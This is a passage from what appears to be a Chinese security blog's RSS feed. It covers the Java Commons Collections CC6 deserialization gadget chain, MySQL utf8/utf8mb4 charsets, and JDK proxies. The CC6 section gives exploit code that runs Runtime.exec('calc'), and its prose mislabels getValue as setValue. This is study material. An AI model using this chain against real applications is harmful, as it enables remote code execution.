&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里同时还有一个&lt;code&gt;newInstance()&lt;/code&gt;实例化的过程，如果能走完这个函数就能动态执行代码，但是因为是私有的，得继续找。&lt;/p&gt;</description></item><item><title>java反序列化之CC6</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc6/</link><pubDate>Wed, 13 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcc6/</guid><description>&lt;h1 id="java反序列化之cc6"&gt;
 java反序列化之CC6
 &lt;a class="anchor" href="#java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e4%b9%8bcc6"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="cc6-链分析"&gt;
 CC6 链分析
 &lt;a class="anchor" href="#cc6-%e9%93%be%e5%88%86%e6%9e%90"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;前半段链子，从&lt;code&gt;LazyMap&lt;/code&gt;到&lt;code&gt;InvokerTransformer&lt;/code&gt;类是一样的。&lt;/p&gt;
&lt;p&gt;我们直接从&lt;code&gt;LazyMap&lt;/code&gt;开始找其他调用&lt;code&gt;get&lt;/code&gt;的地方。&lt;/p&gt;
&lt;h3 id="寻找链子"&gt;
 寻找链子
 &lt;a class="anchor" href="#%e5%af%bb%e6%89%be%e9%93%be%e5%ad%90"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;在 ysoSerial 给的链子中，是&lt;code&gt;TiedMapEntry&lt;/code&gt;的&lt;code&gt;getValue()&lt;/code&gt;方法调用了&lt;code&gt;LazyMap&lt;/code&gt;的&lt;code&gt;get()&lt;/code&gt;方法。&lt;/p&gt;
&lt;p&gt;再来一次&lt;code&gt;LazyMap&lt;/code&gt;弹出计算器的方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; org.example.originaltest;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.functors.InvokerTransformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.keyvalue.TiedMapEntry;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.map.LazyMap;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.util.HashMap;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.util.Map;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CC6Test&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;(String&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; args) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Runtime runtime &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Runtime.&lt;span style="color:#a6e22e"&gt;getRuntime&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; InvokerTransformer exec &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvokerTransformer(&lt;span style="color:#e6db74"&gt;&amp;#34;exec&amp;#34;&lt;/span&gt;, &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Class&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{String.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;}, &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;calc&amp;#34;&lt;/span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; HashMap&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;Object, Object&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; map &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; HashMap&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Map decorate &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LazyMap.&lt;span style="color:#a6e22e"&gt;decorate&lt;/span&gt;(map, exec);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; decorate.&lt;span style="color:#a6e22e"&gt;get&lt;/span&gt;(runtime);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;下一步就是让&lt;code&gt;TiedMapEntry&lt;/code&gt;类中的&lt;code&gt;getValue()&lt;/code&gt;方法调用了&lt;code&gt;LazyMap&lt;/code&gt;的&lt;code&gt;get()&lt;/code&gt;方法。下面使用&lt;code&gt;TiedMapEntry&lt;/code&gt;写一个exp。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; org.example.originaltest;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.Transformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.functors.ChainedTransformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.functors.ConstantTransformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.functors.InvokerTransformer;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.keyvalue.TiedMapEntry;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; org.apache.commons.collections.map.LazyMap;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.util.HashMap;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;import&lt;/span&gt; java.util.Map;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;CC6Test&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;(String&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; args) &lt;span style="color:#66d9ef"&gt;throws&lt;/span&gt; Exception{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Transformer&lt;span style="color:#f92672"&gt;[]&lt;/span&gt; transformers &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Transformer&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ConstantTransformer(Runtime.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvokerTransformer(&lt;span style="color:#e6db74"&gt;&amp;#34;getMethod&amp;#34;&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Class&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{String.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;, Class&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;},&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;getRuntime&amp;#34;&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;}),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvokerTransformer(&lt;span style="color:#e6db74"&gt;&amp;#34;invoke&amp;#34;&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Class&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{Object.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;,Object&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;},&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;null&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;[&lt;/span&gt;0&lt;span style="color:#f92672"&gt;]&lt;/span&gt;}),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; InvokerTransformer(&lt;span style="color:#e6db74"&gt;&amp;#34;exec&amp;#34;&lt;/span&gt;,&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Class&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{String.&lt;span style="color:#a6e22e"&gt;class&lt;/span&gt;},&lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Object&lt;span style="color:#f92672"&gt;[]&lt;/span&gt;{&lt;span style="color:#e6db74"&gt;&amp;#34;calc&amp;#34;&lt;/span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ChainedTransformer chainedTransformer &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; ChainedTransformer(transformers);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; HashMap&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;Object, Object&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; map &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; HashMap&lt;span style="color:#f92672"&gt;&amp;lt;&amp;gt;&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Map lazyMap &lt;span style="color:#f92672"&gt;=&lt;/span&gt; LazyMap.&lt;span style="color:#a6e22e"&gt;decorate&lt;/span&gt;(map, chainedTransformer);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; TiedMapEntry tiedMapEntry &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; TiedMapEntry(lazyMap, &lt;span style="color:#e6db74"&gt;&amp;#34;key&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tiedMapEntry.&lt;span style="color:#a6e22e"&gt;getValue&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里的逻辑还是很简单的，我们创建一个&lt;code&gt;TiedMapEntry&lt;/code&gt;对象，然后把我们构造的&lt;code&gt;LazyMap&lt;/code&gt;传进去并直接调用&lt;code&gt;setValue&lt;/code&gt;方法，就会调用到&lt;code&gt;map.get(key)&lt;/code&gt;。&lt;/p&gt;</description></item><item><title>MySQL数据库盲区补充</title><link>https://s0lowalker.github.io/docs/%E6%95%B0%E6%8D%AE%E5%BA%93/%E6%95%B0%E6%8D%AE%E5%BA%93/</link><pubDate>Thu, 07 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/%E6%95%B0%E6%8D%AE%E5%BA%93/%E6%95%B0%E6%8D%AE%E5%BA%93/</guid><description>&lt;h1 id="mysql数据库盲区补充"&gt;
 MySQL数据库盲区补充
 &lt;a class="anchor" href="#mysql%e6%95%b0%e6%8d%ae%e5%ba%93%e7%9b%b2%e5%8c%ba%e8%a1%a5%e5%85%85"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="字符集"&gt;
 字符集
 &lt;a class="anchor" href="#%e5%ad%97%e7%ac%a6%e9%9b%86"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;字符集的作用和字符编码基本可以当作一回事。&lt;/p&gt;
&lt;p&gt;字符集就是一个字典，规定了“A 编号多少？‘中’字编号多少？”比如在 &lt;code&gt;utf8mb4&lt;/code&gt; 这本字典里，“中”字的编号是&lt;code&gt;0xE4B8AD&lt;/code&gt;。如果甲用 &lt;code&gt;utf8mb4&lt;/code&gt; 编码，乙却拿 &lt;code&gt;gbk&lt;/code&gt; 字典去解码，就会看到乱码。&lt;/p&gt;
&lt;h3 id="utf8-与-utf8mb4"&gt;
 utf8 与 utf8mb4
 &lt;a class="anchor" href="#utf8-%e4%b8%8e-utf8mb4"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;这是 MySQL 历史上最著名的“坑”之一，一定要记住：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;MySQL 的 &lt;code&gt;utf8&lt;/code&gt; 不是真正的 UTF-8，它最多只支持 3 字节的字符。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;真正的 UTF-8 标准字符有 1~4 个字节。所以，MySQL 的 &lt;code&gt;utf8&lt;/code&gt; 根本无法存储 &lt;strong&gt;emoji 表情、部分罕见的汉字、辅助字符&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当你存一个 emoji 表情 😂 时，它会报错或从插入位置被截断，后面的内容一并丢掉。&lt;/li&gt;
&lt;li&gt;这也是为什么现在数据库里真正要用 UTF-8 的时候，看到的都是 &lt;strong&gt;&lt;code&gt;utf8mb4&lt;/code&gt;&lt;/strong&gt;，它的全称是 UTF-8 Multibyte 4，就是&lt;strong&gt;支持 4 字节的完整 UTF-8 实现&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="字符集的三个层级"&gt;
 字符集的三个层级
 &lt;a class="anchor" href="#%e5%ad%97%e7%ac%a6%e9%9b%86%e7%9a%84%e4%b8%89%e4%b8%aa%e5%b1%82%e7%ba%a7"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;MySQL 的字符集设置非常灵活，可以在不同层面生效，从上到下依次是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;服务器层&lt;/strong&gt;
影响创建新库时的默认字符集。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;SHOW&lt;/span&gt; VARIABLES &lt;span style="color:#66d9ef"&gt;LIKE&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;character_set_server&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;数据库层&lt;/strong&gt;
新建库时若不特别指定，就继承服务器设置。建库时可以明确声明：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;CREATE&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;DATABASE&lt;/span&gt; mydb CHARACTER &lt;span style="color:#66d9ef"&gt;SET&lt;/span&gt; utf8mb4 &lt;span style="color:#66d9ef"&gt;COLLATE&lt;/span&gt; utf8mb4_unicode_ci&lt;span style="color:#960050;background-color:#1e0010"&gt;；&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;表与列层&lt;/strong&gt;
建表时继承库设置，但你也可以为各列设置不同的字符集，这也是最灵活的一层。&lt;/p&gt;</description></item><item><title>JDK动态代理</title><link>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%9F%BA%E7%A1%80/jdk%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://s0lowalker.github.io/docs/java%E5%AE%89%E5%85%A8/java%E5%9F%BA%E7%A1%80/jdk%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86/</guid><description>&lt;h1 id="jdk动态代理"&gt;
 JDK动态代理
 &lt;a class="anchor" href="#jdk%e5%8a%a8%e6%80%81%e4%bb%a3%e7%90%86"&gt;#&lt;/a&gt;
&lt;/h1&gt;
&lt;h2 id="代理模式"&gt;
 代理模式
 &lt;a class="anchor" href="#%e4%bb%a3%e7%90%86%e6%a8%a1%e5%bc%8f"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;核心定义：为目标对象提供一个代理对象，并由代理对象控制对目标对象的方法。代理对象可以在目标对象执行的前后，进行额外的增强处理，目标对象只需要专注自己的核心业务逻辑即可。&lt;/p&gt;
&lt;h2 id="静态代理"&gt;
 静态代理
 &lt;a class="anchor" href="#%e9%9d%99%e6%80%81%e4%bb%a3%e7%90%86"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="简单理解"&gt;
 简单理解
 &lt;a class="anchor" href="#%e7%ae%80%e5%8d%95%e7%90%86%e8%a7%a3"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;角色分析：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;抽象角色：一般使用接口或抽象类来解决&lt;/li&gt;
&lt;li&gt;真实角色：被代理的角色&lt;/li&gt;
&lt;li&gt;代理角色：代理真实角色，代理真实角色后会做一些附属操作&lt;/li&gt;
&lt;li&gt;客户：访问代理的人&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以租客找中介向房东租房为例：&lt;/p&gt;
&lt;p&gt;Rent.java&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; JDKproxy.staticProxy;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;interface&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Rent&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rent&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;租房这件事是需要中介和房东完成的，是一个抽象角色，所以需要用接口实现。&lt;/p&gt;
&lt;p&gt;Host.java&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; JDKproxy.staticProxy;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Host&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;implements&lt;/span&gt; Rent{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rent&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; System.&lt;span style="color:#a6e22e"&gt;out&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;println&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;房东出租房子&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这是房东类，需要实现 Rent 接口。&lt;/p&gt;
&lt;p&gt;RentProxy.java&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;package&lt;/span&gt; JDKproxy.staticProxy;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RentProxy&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;implements&lt;/span&gt; Rent{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;private&lt;/span&gt; Host host;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RentProxy&lt;/span&gt;(Host host) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;this&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;host&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; host;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;RentProxy&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@Override&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;public&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;rent&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; host.&lt;span style="color:#a6e22e"&gt;rent&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; seeHouse();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; fare();
